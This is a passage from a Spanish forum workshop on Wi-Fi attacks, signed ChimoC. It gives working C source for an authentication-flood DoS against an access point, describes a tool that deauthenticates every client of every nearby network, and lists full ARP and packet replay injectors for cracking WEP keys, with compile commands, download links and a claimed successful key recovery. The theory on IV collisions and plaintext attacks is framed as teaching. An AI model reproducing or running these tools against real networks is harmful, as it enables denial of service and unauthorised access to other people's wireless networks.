    unsigned int mac_ap[6];  //mac_ap es la mac del AP y mac_cli la mac de la víctima
    unsigned char DoS_AP[30];

    // Solicitamos la entrada de MAC's por pantalla
    printf ("\nEscribe la MAC del Punto de Acceso ----------------> ");
    scanf ("%02X:%02X:%02X:%02X:%02X:%02X", &mac_ap[0],&mac_ap[1],&mac_ap[2],&mac_ap[3],&mac_ap[4],&mac_ap[5]);

    /***************************************/
    /* Construimos la trama de Autenticación */
    /***************************************/

    // FRAME CONTROL bytes 0 y 1
    DoS_AP[0]=0xB0; // Esto es AUTENTICACION!!!
    DoS_AP[1]=0x00;

    // DURACION bytes 2 y 3 Valor al azar, para el ejemplo 30 01
    DoS_AP[2]=0X30;
    DoS_AP[3]=0X01;

    // MAC DESTINO -- LA DEl PUNTO DE ACCESO (DoS_AP+4, DoS_AP+5... hasta DoS_AP+9)
    for (z=0;z<6;z++) DoS_AP[4+z]=mac_ap[z];

    // MAC ORIGEN -- MAC Falsa ALEATORIA (DoS_AP+10, DoS_AP+11.... hasta DoS_AP+15)
    for (z=0;z<6;z++) DoS_AP[10+z]=rand() & 0xFF;
    DoS_AP[10]=0x00;
    // MAC DEL BSSID -- LA DEL PUNTO DE ACCESO Dos_AP+16, DoS_AP+17 hasta DoS_AP+21)
    for (z=0;z<6;z++) DoS_AP[16+z]=mac_ap[z];

    // Número de Fragmento y número de secuencia bytes 22 y 23
    DoS_AP[22]=0x10;
    DoS_AP[23]=0x00;

    DoS_AP[24]=0x00;
    DoS_AP[25]=0x00;

    // Número de Secuencia de la Autenticación (por ejemplo, 02 00)
    DoS_AP[26]=0x02;
    DoS_AP[27]=0x00;

    // Razón y Estado de la DoS_AP bytes 28 y 20. Satisfactorio!!!!

    DoS_AP[28]=0x00;
    DoS_AP[29]=0x00;


    // Mostramos en pantalla la trama a enviar
    printf ("\nTrama a enviar"
    "\n***** * ******\n");

    dump_packet(DoS_AP,30); //Volcamos el paquete a enviar por pantalla para ver su encapsulado


    printf("\nPulsa Ctrl+C para cancelar el ataque\n\n");


    // Comenzams el ataque DoS contra el AP.

    z=1;
    while(1)

    {
    printf ("\rEnviando trama número %i \r",z);
    fflush( stdout );
    z++;
    send_packet(DoS_AP,30); //Enviamos paquete
    usleep(50000); //Se espera 50mil ms, se enviarán unos 200 paq. x segundo
    //con mac's aleatorias.... en 5 segundos el AP recibirá
    //1000 solicitudes con sus 1000 mac's. Resultado => Desbordamiento
    //y transcurridos unos segundos mas => todas las estaciones también fuera

    // Generamos una nueva MAC aleatoria
    for (i=0;i<6;i++) DoS_AP[10+i]=rand() & 0xFF;
    DoS_AP[10]=0x00;

    // Nº Secuencia aleatorio para h80211

    DoS_AP[22]=rand() & 0xFF;
    DoS_AP[23]=rand() & 0xFF;

    // Nº Secuencia Aleatorio para solicitud de autenticacion

    DoS_AP[26]=rand () & 0xFF;
    DoS_AP[27]=rand () & 0xFF;


    }
    ....
    ....


    Es interesante que te des cuenta como se construyen las tramas de autenticación

    El código completo lo encontrarás aquí:

    http://www.megaupload.com/?d=DQ5DD6YS

    Y como siempre, para no tener problemas de compilación lo guardamos junto con el código fuente de la suite de aircrack-ng, con el nombre dosAP.c y lo compilamos:

    gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0  -Iinclude   -c -o dosAP dosAP.c

    gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0  -Iinclude dosAP.o common.o crypto.o -o dosAP -Losdep -losdep   -lssl -lcrypto


    [size=18]Denegación de Servicio a TODAS las Redes y TODOS los clientes.[/size]

    Al programita en cuestión le llamé dosLOCO.c, por aquello de que es una locura...

    De lo que se trata es de capturar un paquete de datos cualquiera, de cualquier cliente de cualquier red, y proceder a una desautenticación, primero del cliente "descubierto" y luego de todos (al broadcast)

    Así continuamente, cada vez que interceptemos cualquier paquete de datos, enviamos desautenticaciones a ese cliente y luego a todo el mundo... vamos que todo lo que esté "a tu alrededor" se desautentica... una maldad como dije.

    Podríamos incluir "listas blancas" para no desautenticar a los que queramos... pero bueno, no importa el programa en sí mismo, interesa como capturar y colocar las mac's en el orden adecuado dentro de la trama a enviar.

    Recuerdas la parte teórica donde hablábamos de "la danza de las mac's" que dependiendo de si es un dato toDS o FromDS se intercambian mac origen y mac destino???

    Pues en este ejemplo lo descubrimos y utilizamos, concretamente en esta parte del código:

    ...
    ...

    if (h80211[1] % 3 ) == 3) continue; // Es un paquete WDS. no interesa. leer otro

    switch( h80211[1] & 3 )
           {
               case  0: // es ad-hoc

    memcpy (bssid,h80211+4,6);
    memcpy (origen,h80211+10,6);
    memcpy (destino,h80211+16,6);
    break;

               case  1: // es ToDS

    memcpy (bssid,h80211+4,6);
    memcpy (origen,h80211+10,6);
    memcpy (destino,h80211+16,6);
    break;

               case  2: // es FromDS

    memcpy (destino,h80211+4,6);
    memcpy (bssid,h80211+10,6);
    memcpy (origen,h80211+16,6);
    break;
           }

    if (origen[0] == 0xFF) memcpy (mac_victima, destino, 6);
    if (destino[0] == 0xFF) memcpy (mac_victima, origen, 6);
    ...
    ...

    Como ves analizamos el segundo byte del Frame Control (recuerda que se empieza a contar desde cero, el cero es el primero y el uno el segundo)

    De esta forma, sabemos colocar las macs dentro de la trama de datos a enviar, no vaya a ser que enviemos desautenticaciones a quien no debemos.

    Para comprobar si es broadcast asumimos que si el primer byte de la mac (origen o destino) es FF se trata de un broadcast, ciertamente deberíamos de comprobar los seis, pero con esto vale.

    El resto del programa no debería ofrecer ningún problema de entendimiento después de todas las explicaciones que llevamos y de los otros códigos.

    Lo puedes descargar de aquí:

    http://www.megaupload.com/?d=OIS2LVIT

    Y para compilarlo, como de es habitual, lo guardamos en el directorio fuente de aircrack y:


    gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0  -Iinclude   -c -o dosLOCO dosLOCO.c

    gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0  -Iinclude dosLOCO.o common.o crypto.o -o dosLOCO -Losdep -losdep   -lssl -lcrypto


    Vale, ahora vamos a descubrir las vulnerabilidades WEP, daremos un reapaso a todas las conocidas y haremos ejemplos de estas:
    Reinyección de tráfico (ya veréis que inyecta muy, muy, muy deprisa).

    Ataque WEP de texto plano. Consiste en obtener keystream "a medida" para que luego podamos inyectar cualquier paquete en la red sin conocer la clave, envenenar la caché arp de los clientes, cambiar puertas de enlace, manipular dns, lo que se nos ocurra, y con cualquier herramienta, es decir, desde un escaner de puertos hasta un simple ping, sin necesidad de depender de aircrack o similares.

    Decodificación de paquetes. Mediante una técnica conocida como Ataque Inductivo seremos capaces de descifrar el contenido de cualquier paquete de datos cifrado con WEP sin conocer la clave. Además también podremos generar keystream para enviar paquetes "mal intencionados" a la red como en el caso anterior.

    Un detector de ataques. Como no todo es atacar y atacar, también construiremos un pequeño sistema de alertas que nos avise de estos ataques.[/list]

    Pero, hasta entonces... un respiro y mañana al tajo.[/b]

    ChimoC

    VULNERABILIDADES WEP. Parte I. Teoría

    Colisiones IV

    La primera vulnerabilidad que vamos a comentar es la que se conoce como IV Collision (Colsiones del IV)

    Como hemos comentado, el IV es un valor de 24bits y aunque parezca un valor bastante grande: 2^24 = 16.777.216 vectores de inicialización, en la práctica no lo es tanto.

    Supongamos una red cuya tasa es de 11mbps transmitiendo tramas de datos de 1500 bytes.

    11.000.000 mbps / (1.500 * 8 bits ) = 916'67 paquetes por segundo.

    Si dividimos el nº total de IV's entre los paquetes x seg. De la fórmula anterior:

    16.777.216 IV's / 916'67 paq. X seg = 18.302 seg (aproximadamente)

    18.302 segundos en horas: 18.302 / 3600 = 5 horas (aproximadamente)


    Estamos asumiendo que sólo existe una sola estación en la red y que el IV se va incrementando en una unidad por cada paquete enviado, que se hecho es así en la mayoría de los casos.

    Podrías pensar que el IV, en lugar de incrementarse de uno en uno, sería mas seguro que lo hiciese aleatoriamente.. pues no...

    Existe un análisis denominado paradoja de cumpleaños, esto viene a decir que: si juntamos a 23 personas en una misma habitación, existe mas de un 50% de probabilidades que dos de ellas coincidan en el día y mes de nacimiento.

    Si en lugar de 23 personas, reunimos a 50, las probabilidades de que dos de ellas coincidan en mes y día suben al 97% y si en lugar de reunir a 50, reunimos 60... la probabilidad es de mas del 99%!!!!

    Aplicando la paradoja de cumpleaños al uso aleatorio de IV's resulta que tras el envío de unos 4800 paquetes de datos existe una probabilidad cercana al 60% de que se repitan, por ello es preferible que los IV's se vayan incrementando en una unidad que se escojan de forma aleatoria.

    Cuando dos paquetes diferentes, con sus ICV's diferentes se repiten, tenemos una colisión de IV.

    Y???

    Pues que si dos contenidos diferentes arrojan el mismo IV y si un atacante conoce el valor del texto plano de uno de los dos mensajes, se puede obtener el contenido del texto plano del otro mensaje con una simple operación XOR.

    Pongamos un ejemplo muy sencillo, de un solo byte para no complicarlo mucho....



    El atacante adivina, intuye o está completamente seguro de que el valor en texto plano de mensaje B es R (0x52), para conseguir adivinar el valor en texto plano del mensaje A:
      Como el IV es el mismo para ambos mensajes cifrados, podemos obtener un
    keystream provisional haciendo un simple XOR entre los valores del texto cifrado de ambos mensajes:[/list]


    Si ahora aplicamos este keystream al valor de texto plano del mensaje B (que suponemos o sabemos que es 0x52) nos dará el valor del texto plano para el mensaje A:



    De este modo podemos descifrar un mensaje sin conocer la clave WEP.

    Ya... lo sé... estás murmurando que Claro, esto si sabemos el texto plano de uno de los dos mensajes, cómo vamos a saber eso!!!????

    Pues como veremos un poquito mas adelante, existen muchas formas, una de ellas es enviar paquetes desde la red cableada a la red inalámbrica (siempre y cuando estemos enchufados en la misma red, claro), otra es por el tamaño de los paquetes capturados, o por pura intuición (y algo de suerte, todo sea dicho)

    Otra forma es aprovechar el uso de vectores de inicialización con contadores pequeños...

    Hemos dicho que lo mas habitual es que a medida que se van transmitiendo paquetes de datos, las estaciones incrementan en uno el IV (para soslayar el tema de la paradoja de cumpleaños), cuando llega la cuenta al final, empiezan de nuevo desde el número uno y así cada vez.

    Y se puede forzar que vuelvan de nuevo a la cuenta desde cero en un momento determinado???

    Pues sí, las estaciones ponen el contador de IV's a cero cuando:
      • Se reinicia el sistema operativo
      • Se desactiva la tarjeta de red y se vuelve a activar
      • Cuando se desautentican y vuelven a autenticarse
    El tercer caso es el mas asequible para un atacante... si provocamos un DoS al cliente o al punto de acceso, cuando vuelva a reasociarse el contador de IV's volverá a contar desde cero.

    Y???

    Pues que cuando un cliente se asocia, los primeros paquetes que envía suelen ser del tipo DHCP Discover, DHCP Request, etc... También ARP request y ARP Response.

    Este tipo de paquetes son bien conocidos en su encapsulación, suelen tener un tamaño fijo y son fácilmente predecibles.

    Por tanto, el atacante, puede imaginar el contenido de casi todo el paquete en texto plano, si provoca un DoS en repetidas ocasiones y captura los datos cifrados, como los IV's comenzarán de nuevo desde cero, podrá usar la técnica anteriormente descrita para descifrarlos.

    Además, una vez que hemos descifrado un paquete completo o semicompleto, ya podemos obtener el verdadero keystream usado por la clave wep, con este keystream se puede descifrar cualquier otro paquete de datos siempre que se repita el IV.

    Bueno, esto sólo es teórico, ya veremos que usando esta misma técnica lo conseguiremos en la práctica.

    Y mas.., en  la observación de IV's duplicados se basan algunos de los ataques estadísticas para obtener la clave WEP (he dicho la clave, no el keystream, y con la clave ya podemos participar de la red)

    Reutilización de IV's.

    Quizás este sea uno de los mayores problemas de WEP, no existe un control sobre aquellos IV's que ya fueron utilizados y se permite reusar el mismo IV tantas veces como se quiera.

    Con la reutilización de los IV's podemos inyectar paquetes sin mas, no hace falta conocer NADA del texto plano ni del keystream.

    A continuación voy a poner dos códigos de ejemplo que nos servirán para la reinyección de tráfico.

    El primero no es nada sofisticado, sencillamente se limita a capturar un paquete de datos de una red y reinyectarlo indefinidamente (bueno, ciertamente puse un contador para que pare cuando llegue a 100 mil paquetes).

    Como es poco sofisticado, no sabemos a ciencia cierta qué demonios estamos inyectando... si tenemos suerte y se trata de un paquete de datos que requiere respuesta por el destino, perfecto!!!

    Tendremos un bonito inyector de tráfico que generará muchos IV's de respuesta y por análisis estadístico se podrá recuperar la clave WEP.

    Si por el contrario, (como no es sofisticado, está tomando el primero que encuentra) resulta que el paquete elegido es un paquete del que no se espera resupesta alguna, pues sí... veremos que inyectamos paquetes, el tráfico subirá, pero el IV es siempre el mismo por lo que serán de poca calidad y aunque obtengamos miles de IV's no seremos capaces de recuperar la clave WEP.

    Por ello, los mejores candidatos a re-inyectar son paquetes del tipo:
      • TCP-SYN (al recibirlo el destino, responderá con un TCP SYN-ACK generando un nuevo IV para cada SYN que enviemos)

      • PING, los echo request de ICMP, lo mismo de antes, el receptor responderá con su
    pong (echo-reply) y por cada ping enviado generará un nuevo ICV en la respuesta pong.

    • ARP Request, las solicitudes ARP son de las mejores, son paquetes pequeños, sencillos de manejar, de tamaño fijo y recibirán una respuesta (ARP response) del receptor, que como en los casos anteriores se generarán miles de IV's diferentes por cada respuesta y tendremos base estadística para descubrir la clave.[/list]
    Paquetes que no son muy útiles para la reinyección (hay muchos, sólo pongo algunos ejemplos)
      • TCP RST un cierre de conexión no recibe respuesta

      • TCP FIN, idem de antes

      • Casi todos los paquetes UDP excepto unos pocos

      • Casi todas las respuestas (en general) un ARP response no genera tráfico nuevo, una respuesta de una página WEB, una respuesta a un ping, etc... esos no son
    buenos candidatos para la reinyección.[/list]
    Además, reinyectar paquetes TCP (y por consiguiente el resto de los protocolos subyacentes, http, FTP, etc...) es delicado puesto que como ya debemos saber, TCP mantiene un control de la conexión, un checksum de IP y de TCP, un numero de secuencia, etc... por lo que si repetimos dos veces un paquete TCP es muy probable que el destino lo descarte en silencio y no envíe respuesta alguna, con lo que nuestra reinyección será pobre.

    El segundo código es más efectivo y obtendremos una inyección muy rápida y eficaz, al tiempo.

    Se basa en el descubrimiento de paquetes que sí esperan respuesta del receptor de los mismos.

    Por su sencillez y fácil generación lo haremos con paquetes del tipo ARP.

    ChimoC

    VULNERABILIDADES WEP. Parte I. Práctica (1)

    Reinyección de tráfico. Ejemplo 1. Programa rebote.c

    Bien, pues vamos al primero, lo he llamado rebote.c y simplemente se pone a escuchar una red (se le pasa por teclado el BSSID del Punto de acceso) y cuando captura un paquete de datos se pone como un loco a repetirlo...

    Observa en el código de mas abajo que se comprueba si la mac del punto de acceso aparece en "cualquier posición" de la cabecera 802.11 se procede a la comparación, es decir, si la mac del punto de acceso es origen, destino o bssid. (3 bucles for son los que lo controlan)

    El código de este ejemplo aquí: http://www.megaupload.com/?d=L55EAI9C

    Lo guardas en el directorio de las fuentes de aircrack con el nombre rebote.c

    Y lo compilamos:

    gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0  -Iinclude   -c -o rebote rebote.c

    gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0  -Iinclude rebote.o common.o crypto.o -o rebote -Losdep -losdep   -lssl -lcrypto


    Como ya he dicho, si hay suerte y se trata de un paquete del que se espera respuesta, pues mejor, si no, aunque envies millones de paquetes los IV's no serán efectivos para recuperar la clave wep.

    Este sencillo programa utiliza las funciones (estas tres ya deben ser mas que conocidas a estas alturas)
      read_packet para leer los paquetes
      send_packet para enviar (reinyectar en este caso) el paquete capturado
      dump_packet para ver el paquete que estamos inyectando.[/list]Y las que nos interesan de verdad para el ejemplo, son las funciones:
        rebote_datos que es la función encargada de la reinyección
        main, pues eso, donde comienza todo.[/list]
        Función main

        int main( int argc, char *argv[] ) // inicio del programa
        {
            unsigned int bssidAP[6];
        //Comprueba el paso de parámetros
           if( argc != 2 ) {
            printf("\nUso: rebote interface\n\nEjemplo: rebote wlan0\n\n");
                exit( 0 );
            }

        /* Abrir Interface wifi para enviar/recibir tráfico */

             opt.iface_out = argv[1];
            _wi_out = wi_open(opt.iface_out);
            if (!_wi_out)
                    return 1;
            dev.fd_out = wi_fd(_wi_out);
            _wi_in = _wi_out;
            dev.fd_in = dev.fd_out;
            dev.arptype_in = dev.arptype_out;
            wi_get_mac(_wi_in, dev.mac_in);
            wi_get_mac(_wi_out, dev.mac_out);

        /* drop privileges */

        setuid( getuid() );

        printf ("\nEscribe la MAC del bssid o Punto de Acceso ----> ");
        scanf ("%02X:%02X:%02X:%02X:%02X:%02X", &bssidAP[0],&bssidAP[1],&bssidAP[2],&bssidAP[3],&bssidAP[4],&bssidAP[5]);

        rebote_datos(bssidAP);

        return( 0 );
        }


        Esto ya es habitual en todo este taller, prepara la interface wifi que usaremos, verifica el paso de parámetros, pide por teclado que le indiquemos un bssid (en formato xx:xx:xx:xx:xx:xx) y ese valor tecleado lo pasa como parámetro a la función rebote_datos

        Contenido de la función rebote_datos

        int rebote_datos(unsigned int bssidAP[6]) //
        {
        int n, z, caplen;
        long nb_pkt_read;
        int esmiap;
        unsigned char macAP[6];
        nb_pkt_read = 0;

        printf ("\n**** Esperando un paquete de datos con destino a ");
        for (z=0;z<6;z++) { macAP[z]=bssidAP[z]; printf ("%02X:", macAP[z]);}
        printf ("\n\n");

        while(1) // mientras no se hayan capturado datos interesantes
            {
               
                caplen = read_packet( h80211, sizeof( h80211 ), NULL );
        printf ("\rLeyendo paquete número %ld \r", nb_pkt_read);
        fflush (stdout);
        nb_pkt_read++;
        usleep(1800);

        if ((h80211[1] & 0x40) != 0x40) continue; // si no es un paquete Wep activado, leer otro.

                if ((h80211[0] & 0x0C) != 0x08) continue;    //Si no es un paquete de datos, leer otro

            esmiap=0; //asumimos que el paquete tiene el bssid correcto que coincide con el tecleado
        for (z=0;z<6;z++)
        if (h80211[z+4] != macAP[z]) esmiap=1; //se verifican los 6 bytes por MAC
        // si alguno de los bytes del bssid leido es
        // diferente a los tecleados, el paquete no vale
        // y se debe leer otro nuevo
        for (z=0;z<6;z++)
        if (h80211[z+10] != macAP[z]) esmiap=1; //se verifican los 6 bytes por MAC
        // si alguno de los bytes del bssid leido es
        // diferente a los tecleados, el paquete no vale
        // y se debe leer otro nuevo
        for (z=0;z<6;z++)
        if (h80211[z+16] != macAP[z]) esmiap=1; //se verifican los 6 bytes por MAC
        // si alguno de los bytes del bssid leido es
        // diferente a los tecleados, el paquete no vale
        // y se debe leer otro nuevo


        if (esmiap == 0) // las macs tecleadas y capturadas coinciden!!!
        break; // hacemos break para salir del while!!!


        } // fin de while y captura de paquetes

        /* Parece que tenemos un Candidato */

        printf ("\nPaquete a enviar");
        printf ("\n****************\n");
        dump_packet (h80211, caplen);
        printf ("\nEsperando 10 segundos para reinyectar el paquete de DATOS.");
        printf ("\nEjecuta airodump para capturar el tráfico inyectado\n\n");
        sleep(10);

        /* Inyectar 100.000 paquetes de datos */

        for (n=0;n<100000;n++) {
        send_packet (h80211, caplen);
        printf ("\rEnviando paquete número %i de %i bytes \r", n,caplen);
        fflush (stdout);
        usleep(1800);
        }
        return(0);
        }


        Como ves, a esta función se le pasa un argumento (bssidAP[6]) que será la MAC del punto de acceso de la red WEP y que tecleamos desde la función main.

        Inicia con un while (1) indefinido hasta capturar un paquete, se analiza:
          * Que el paquete capturado tenga el bit wep activado
          * Que sea de datos
          * Que el bssid sea el que se pasó como parámetro
        Cuando estas tres condiciones se cumplen se termina el while.

        Entonces, se presenta el paquete por pantalla y se envía 100 mil veces.

        Como se indica en la ejecución del programa, es interesante que pongamos airodump a funcionar y así comprobaremos que efectivamente los paquetes de datos "crecen" exageradamente.

        Recuerda que no tenemos certeza de que sea un "buen candidato" a la reinyección, por lo que igual, tras los 100 mil paquetes no tenemos IV's significativos.

        Vamos a verlo "en acción" Lanzamos nuestro rebote, por ejemplo:

        ./rebote eth1

        Cuando aparezca en pantalla el mensaje de "Ejecuta airodump para..."  Lanzamos en otra shell airodump, por ejemplo así:

        ./airodump-ng -w test -c 7 -d 00:16:B6:41:03:5D

        Aquí tienes el resultado....



        Si acertamos con un "buen paquete" podemos pasar aircrack tras capturar unos miles de IV's, que como hemos dicho no se garantiza un buen resultado, por ejemplo, este falló:



        Pero lo importante no es hacer crack de la clave (por el momento) lo importante es comprender el asunto de la reutilización del IV en la reinyección de tráfico.

        El próximo, no fallará :D

        ChimoC

        VULNERABILIDADES WEP. Parte I. Práctica(2). Programa reenvioarp.c

        Ejemplo 2. Reinyección selectiva de un paquete ARP.

        Lo descargas de: http://www.megaupload.com/?d=DYGS5RVY

        Lo guardas como reenvioarp.c en el directorio fuente de aircrack

        Y lo compilas:

        gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0  -Iinclude   -c -o reenvioarp reenvioarp.c

        gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0  -Iinclude reenvioarp.o common.o crypto.o -o reenvioarp -Losdep -losdep   -lssl -lcrypto


        En este ejemplo usaremos como candidato a inyectar un paquete del tipo ARP Request (Solicitud ARP) de este modo nos aseguramos que habrá respuesta por el destino y los IV's crecerán tanto como paquetes inyectados.

        Utiliza las habituales funciones send_packet, read_packet y dump_packet... estas ya son "norma"en este Taller.

        La función main es igualita a la del anterior apartado, sólo que en esta ocasión, en lugar de llamar a la función rebote_datos, llama a una nueva función: inyectar_arp_req

        Lo primero que hemos de tener claro para entender esta función es:

        ¿Cómo saber si se trata de un ARP o de otro tipo de paquetes?

        Y... en el caso de sea ARP, ¿Cómo diferenciar si es un ARP Request o un ARP response?

        Bueno, lo qu está claro es que la función debe comprobar primero si el bit wep está activado, si es un paquete de datos, como antes.

        Para saber si un determinado paquete es un ARP nos tendremos que "fiar" de su tamaño.

        Un paquete ARP debería de ser así mas o menos:

        24 bytes para la cabecera 802.11 (o 26 si hay QoS)
        4 bytes para el IV
        6 bytes para la cabecera SNAP
        36 bytes para los datos cifrados ARP
        4 bytes para el ICV.


        En total, tendremos 68 bytes si no hay QoS o 70 si hay QoS.

        Es posible existan paquetes de 68 bytes que no sean ARP, por ejemplo algunos paquetes IGMP (ojo, he puesto IGMP no ICMP) tienen ese tamaño. Estos paquetes son UDP y se utilizan contra direcciones multicast de host que están suscritos a determinados servicios.

        Por tanto, podemos errar... si es el caso, no nos daremos cuenta hasta que termine todo, y tendremos que repetir.

        Sin embargo, en lugar de leer indefinidamente hasta encontrar un paquete de datos que "parezca" ARP, limitamos mediante una condición,,, de forma que si tras leer 500 paquetes no "damos" con uno de datos, con wep activado y de tamaño 68, lanzamos desautenticaciones al BROADCAST!!!!

        De ese modo los clientes tendrán que volver a autenticarse y de las primeras cosas que harán es enviar ARP request al punto de acceso!!!

        También podíamos haber empezado por ahí y no esperear a leer 500, efectivamente, estaría mejor así... pero lo hecho, hecho está :D

        Por tanto la función inyectar_arp_req hace una llamada a la función desautenticar_todos pasándole como parámetro el bssid del AP que tecleamos en la función main.

        No te pego el código de la función desautenticar_todos porque es la misma que hemos utilizado para las denegaciones de servicio, concretamente es el mismo código que llamamos dos01.c excepto que se utiliza desautenticación en lugar de disociación.

        Como tienes el enlace del código fuente, ya lo verás por ti mismo.

        Lo que si pego en este post es el contenido de la función inyectar_arp_req, que es la que nos interesa.

        int inyectar_arp_req(unsigned int bssidAP[6]) //
        {
        int n, z, caplen;
        long nb_pkt_read;
        unsigned char ARP_REQ[4096];

        int captura_ARP_REQ;
        int tamano_arp;
        int cabmac;
        int esmiap;
        unsigned char macAP[6];
        nb_pkt_read = 0;
        memset (ARP_REQ, 0, 4096);
        captura_ARP_REQ=0;

        printf ("\n**** Esperando un ARP REQ con destino a -----> ");
        for (z=0;z<6;z++) { macAP[z]=bssidAP[z]; printf ("%02X:", macAP[z]);}
        printf ("\n\n");

        while( captura_ARP_REQ == 0) // mientras no se haya capturado un ARP_Request
            {
               
                caplen = read_packet( h80211, sizeof( h80211 ), NULL );
        printf ("\rLeyendo paquete número %ld \r", nb_pkt_read);
        fflush (stdout);
        nb_pkt_read++;
        if (nb_pkt_read % 500 ==0) {
        printf("\n\nATENCION!!! Parece que no se capturan ARP_REQ");
        printf("\n*********** Probando desautenticación al broadcast\n");
        desautenticar_todos(macAP);
        continue;
        }
        usleep(1800);
        tamano_arp=68; // el tamaño de un paquete arp es 68 para 802.11
        // 24 para la cabecera mac 802.11 estándar
        // 4 para el IV
        // 36 de los datos cifrados de ARP
        // 4 para el ICV
        // 24+4+26+4 = 68

        if ((h80211[1] & 0x40) != 0x40) continue; // si no es un paquete Wep activado, leer otro.

                if ((h80211[0] & 0x0C) != 0x08) continue;    //Si no es un paquete de datos, leer otro

        cabmac = ( ( h80211[1] & 3 ) == 3 ) ? 30 : 24; //30 si (toDS=1 y FromDS=1). 24 en otro caso

        if( (h80211[0] & 0x80) == 0x80) {  // Si es un paquete QoS
        cabmac+=2; // la cabecera MAC tiene un tamaño extra de 2 Bytes
        tamano_arp+=2; // la longitud total del paquete tiene un tamaño extra de 2 bytes
        }

        if(caplen != tamano_arp) continue; // si el tamaño del paquete leido no es el de un arp, leer otro

            if ((h80211[1] & 0x01) == 0x01) { // Si es un paquete toDS

        if (h80211[16]==0xff ) { //asumimos que si la macdestino comienza por FF es broadcast
        // realmente deberíamos comprobar que las 6 posiciones sean FF
        // pero lo damos por supuesto

        /* Comprobamos que el bssid del paquete leido es la misma mac que la que tecleamos */
        /* de ese modo nos aseguramos que el paquete leído pertenece a la red wifi deseada*/

        esmiap=0;
        for (z=0;z<6;z++) {
        if (h80211[z+4] != macAP[z]) esmiap=1; //se verifican los 6 bytes por MAC
        }
        if (esmiap == 0) // las macs tecleadas y capturadas coinciden!!!
        {
        memcpy (ARP_REQ,h80211,caplen); // copiar el paqute ledio al array ARP_REQ
        captura_ARP_REQ=1; // hacemos uno esta variable para salir del while!!!
        }
        }
        }


        } // fin de while y captura de paquetes

        /* Parece que tenemos un Candidato */

        printf ("\n\nPaquete ARP_REQ a enviar");
        printf ("\n************************\n");
        dump_packet (ARP_REQ, caplen);
        printf ("\nEsperando 5 segundos para reinyectar el paquete ARP_REQ.");
        printf ("\nEjecuta airodump para capturar el tráfico inyectado\n\n");
        sleep(5);

        /* Inyectar 100.000 paquetes del tipo ARP_REQ */

        for (n=0;n<100000;n++) {
        send_packet (ARP_REQ, caplen);
        printf ("\rEnviando paquete número %i de %i bytes \r", n,caplen);
        fflush (stdout);
        usleep(1800);
        }
        return(0);
        }


        Como de costumbre, he intentado ser lo mas descriptivo posible dentro del código fuente.

        Ya veo que es algo "pesado" estar continuamente explicando cada paso, pero es que lo que nos interesa en este taller es precisamente eso, comprender como se construyen las tramas, los valores, etc.. por eso nunca sobran estas explicaciones aunque sean repetitivas en muchas ocasiones.

        Además, dentro de poco van a venir ataques "mas serios" o al menos mas complicados, y entonces estas pequeñas explicaciones serán bastante útiles.

        También vamos a verlo en acción (este no fallará en el crack :D)



        Y tras unos 40mil paquetes inyectados...



        Correcto!!! Inyección exitosa y clave wep descifrada!!!!

        Como ves, es bastante rápido... en menos de 3 minutos tenemos la clave wep (en la pantalla que se muestra arriba pone 6 minutos... pero ya llevaba 89782 paquetes de datos inyectados, con 40000 fueron suficientes, 2 minutos)




        ChimoC

        VULNERABILIDADES WEP. Parte II. Teoría. Ataque de Texto Plano

        Para completar lo que hemos estado explicando sobre la teoría de colisiones IV, conocimiento del texto plano, etc... Vamos a implementar lo que se llama un ataque en texto plano. Antes de la práctica, una pequeña introducción....

        En este escenario el atacante cuenta con una GRAN ventaja, que es el poder comunicarse con las estaciones inalámbricas desde su máquina mediante la red cableada.

        Es decir, imaginemos que estamos en la empresa, colegio, o donde sea y tenemos nuestro PC conectado por cable a un router o switch que a su vez está conectado a un punto de acceso inalámbrico.

        Como no somos parte de la red inalámbrica, no conocemos la clave WEP, de hecho igual tampoco la conocen los usuarios inalámbricos porque el administrador configuró los equipos de la empresa manteniendo en secreto la clave.

        Como podemos comunicarnos con los clientes inalámbricos (y estos con nosotros) puesto que compartimos los mismos recursos corporativos (bases de datos,  dns, o sencillamente unas cuantas carpetas de red) podemos enviar cualquier cosa a las estaciones inalámbricas.

        Esto es la GRAN ventaja, el atacante conoce el TEXTO PLANO de lo que envía (puesto que por la interface ethernet saldrá el paquete sin cifrar)

        Como ese paquete irá con destino a una estación inalámbrica, el router, switch o lo que sea, se lo dará al punto de acceso que lo cifrará con la clave WEP y terminará por entregarlo al destino (estación inalámbrica).

        Si conseguimos capturar el paquete de datos que el punto de acceso envía (ya cifrado) a la estación wireless, sólo tenemos que hacer un XOR del texto plano enviado por la interface de cable (la ethernet) con el paquete que sale del punto de acceso hacia el cliente inalámbrico.

        De ese XOR, como vimos en la explicación teórica, saldrá el keystream para ese IV y con ese keystream el atacante puede utilizar una tarjeta inalámbrica para comunicarse con la red wifi sin saber la clave WEP.

        Esto puede parecer una tontería.... "si ya tengo comunicación con la red inalámbrica desde el cable, para qué usar un keystream??"

        Pues visto desde este punto parece del todo inútil, pero es que la escenificación de este ataque nos va a dar pié para comprender cómo podremos hacer lo mismo en los casos en los que "el atacante" ni pertenece a la red de cable ni pertenece a la red inalámbrica, y sin embargo, podremos usar los keystream calculados "a ciegas" sin conocer el texto plano como es este caso. Esto ya es mejor, verdad?

        Pero por partes, primero al ataque en texto plano para poder comprender mas adelante otros mas refinados.

        Para realizar el ataque en texto plano el atacante debe generar un paquete del cual conozca todo su contenido y que sea lo suficientemente grande para poder usar la keystream en otros paquetes diferentes.

        Como candidato elegí un icmp echo (un ping) es fácil de construir y podemos "aumentar el tamaño" a lo que nos interese.

        La coreografía es la siguiente:
          1.- el atacante envia un icmp echo a un cliente inalámbrico del cual conoce todos los datos. Realmente y como vewremos en el ejemplo, lo que hacemos es guardar ese icmp en plano dentro de un archivo llamado ping_plano.cap

